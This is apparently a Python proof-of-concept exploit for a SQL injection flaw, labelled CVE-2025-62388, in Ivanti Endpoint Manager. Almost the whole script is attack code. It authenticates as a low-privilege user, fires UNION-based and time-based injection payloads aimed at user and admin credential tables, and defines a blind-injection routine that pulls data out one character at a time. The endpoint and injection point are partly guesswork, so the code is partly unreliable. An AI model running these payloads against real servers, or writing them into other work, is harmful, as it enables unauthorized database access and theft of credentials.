# CVE-2025-62388 - Ivanti Endpoint Manager SQL Injection PoC
# Vulnerability: SQL Injection in Ivanti Endpoint Manager before 2024 SU5
# CVSS: 6.5 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
# Requires: Low-privilege authenticated access
import requests
TARGET_URL = "https://target-epm-server:8443"
USERNAME = "low_priv_user"
PASSWORD = "password123"
session = requests.Session()
# Step 1: Authenticate to EPM with low-privilege credentials
login_payload = {
"username": USERNAME,
"password": PASSWORD
}
login_resp = session.post(f"{TARGET_URL}/api/auth/login", json=login_payload)
print(f"[*] Login status: {login_resp.status_code}")
# Step 2: Exploit SQL Injection in vulnerable parameter
# The injection point is typically in search/filter parameters
vulnerable_endpoint = f"{TARGET_URL}/api/v1/devices/search"
# Boolean-based blind SQL injection payloads
payloads = [
# Basic injection test
"' OR '1'='1",
"' UNION SELECT NULL,username,password FROM users--",
# Time-based blind injection
"'; WAITFOR DELAY '0:0:5'--",
# Extract database version
"' UNION SELECT @@version,NULL,NULL--",
# Extract table names
"' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
# Extract sensitive data (e.g., admin credentials)
"' UNION SELECT username,password_hash,salt FROM ldap_users WHERE role='admin'--"
]
for payload in payloads:
params = {"query": payload, "limit": 100}
resp = session.get(vulnerable_endpoint, params=params)
print(f"[*] Payload: {payload[:50]}...")
print(f"[*] Response length: {len(resp.text)}")
if "error" in resp.text.lower():
print(f"[!] Possible SQL error detected")
# Step 3: Automated data extraction using boolean-based blind SQLi
def extract_data(session, table, column, row_id=1):
"""Extract data character by character using boolean-based blind SQLi"""
extracted = ""
for pos in range(1, 100):
# Binary search for each character
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"' AND ASCII(SUBSTRING((SELECT {column} FROM {table} WHERE id={row_id}),{pos},1))>{mid}--"
params = {"query": payload}
resp = session.get(vulnerable_endpoint, params=params)
# Adjust based on response behavior
if resp.status_code == 200 and len(resp.text) > 100:
low = mid + 1
else:
high = mid
if low == 32:
break
extracted += chr(low)
return extracted
print("[*] Starting data extraction...")
# extracted_data = extract_data(session, "users", "password")
print("[*] Extraction complete")